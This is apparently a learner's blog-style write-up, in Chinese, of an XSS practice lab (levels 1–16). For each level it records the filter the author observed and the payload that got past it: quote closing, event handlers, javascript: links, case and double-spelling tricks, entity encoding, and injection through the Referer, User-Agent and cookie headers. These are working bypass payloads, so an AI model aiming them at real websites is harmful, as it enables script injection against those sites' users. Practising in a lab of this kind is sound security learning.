xss,没学过,不会做,找点题来练练手
闯关网址http://test.xss.tv
上网看到有个测试神句<script " 'Oonn>
但是我还不怎么会用
level1
经典代码<script>alert()</script>
level2
用用那个什么<script " 'Oonn>
神句看看
搜索框里只出现了<script
猜测可以用双引号绕过
闭合绕过"><script>alert()</script><
level3
输入<script " 'Oonn>
搜索框里只出现了<script "
猜测可以用单引号绕过'> <script>alert()</script> <'
左边一个>闭合,右边一个<和末端的>闭合
什么单引号也不行?!右键源代码一探究竟
看到value='<script " 'Oonn>'
OMG原来大于小于被转义了!好悲伤的一道题
浅浅网上随便找个不用大于小于的'onmouseover='alert()
然后点击搜索
level4
输入<script " 'Oonn>
搜索框里只剩script
源代码value="script " 'Oonn"
卡在双引号,大于小于不能用因为被过滤了
那不和上一题一样只是单引变双引嘛"onmouseover="alert()
level5
输入<script " 'Oonn>
搜索框里变成<scr_ipt
源代码value="<scr_ipt " 'oo_nn>"
介个似协模意思捏。。
首先哈,大于小于没被转义也没被过滤,然后哈,应该是双引号闭合
输"><script>alert()</script><"
源代码是value=""><scr_ipt>alert()</script><""
输"onmouseover="alert()
源代码是value=""o_nmouseover="alert()"
但是试了<a href="javascript:alert()">
可以发现是可行的
构建,先双引号"
然后>
和左边闭合,然后<a href="javascript:alert()">
,<
和右边闭合"><a href="javascript:alert()"><
铛铛出炉
先做到这,明天继续
2023.7
虽然当时打算继续做下去。。但是我一学期后才回来(阿这
level6
大小写绕过"><a Href="javaScript:alert()"><
level7
把上一个输进去发现用了小写转化
试了一下发现还会检测on``script``herf
然后删掉,双拼写绕过"><a hrhrefef="javascrscriptipt:alert()"><
level8
小写转化、过滤了script,href什么的、双引号被编码
看了一下会把输入的填进href,搞个&#十进制ASCIIjavaScript:alert()
或者&#十六进制ASCIIjavascript:alert('xss')
level9
双引号,尖括号,还说我链接不合法
浅试了个http://
,可以
试了一下发现payload里只要有http://
就可以,不管怎么放,估计是匹配了http://
把上一题的尾巴后面注释个//http://
javaScript:alert()//http://
level10
没框,可能是用图片
看看源码
1 | <input name="t_link" value="" type="hidden"> |
有三个隐藏的框,F12把hidden删了,试个&t_link=1&t_history=2&t_sort=3
,发现t_sort
框里有回显
&t_sort=" onclick='javascript:alert(1)'>
再把hidden删了
AND还有可以直接改类型,不用一次次删hidden&t_sort=" type='text' onclick='javascript:alert(1)'>
level11
看看源码,四个框框t_link=" type='text'>&t_history=" type='text'>&t_sort=" type='text'>&t_ref=" type='text'
没反应
再看一眼源码,双引号被转义了
然后t_ref的值<input name="t_ref" value="https://xss.tesla-space.com/level10.php?keyword=&t_sort=%22%20onclick=%27javascript:alert(1)%27%3E" type="hidden">
然后hackbar可以看到referer的值就是变成了https://xss.tesla-space.com/level10.php?keyword=&t_sort=%22%20onclick=%27javascript:alert(1)%27%3E
遂改之" type='text' onclick='javascript:alert(1)'>
level12
还是没有框框,看看源码
有个t_ua
,改个User-Agent头看看
拒绝访问
不改,直接在后面加payload
level13
看源码,t_cook
,改个cookie看看user=" type='text' onclick='javascript:alert(1)'>
level14
<iframe name="leftframe" marginwidth=10 marginheight=10 src="https://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe>
https://www.exifviewer.org/打不开
不知道要干嘛就是
level15
<body><span class="ng-include:1.gif"></span></body>
ng-include指令
尖括号被转义
html包一下%27https://xss.tesla-space.com/level1.php?name=<img src=asd onerror=alert(1)>%27
level16
过滤了斜杠,空格,Script啥的
btw本题配图好眼熟,看到它我就想起了我电脑重置后失踪的steam和不知为何明明是在steam上下的,却离奇留下的portal(显然只留了个壳打不开)
找找不用斜杠/Script的payload,然后空格编码%0a
4.2.10. Payload — Web安全学习笔记 1.0 文档<img%0asrc=1%0aonerror=alert(1)>
level17-20
啥啊该插件不受支持,我再研究研究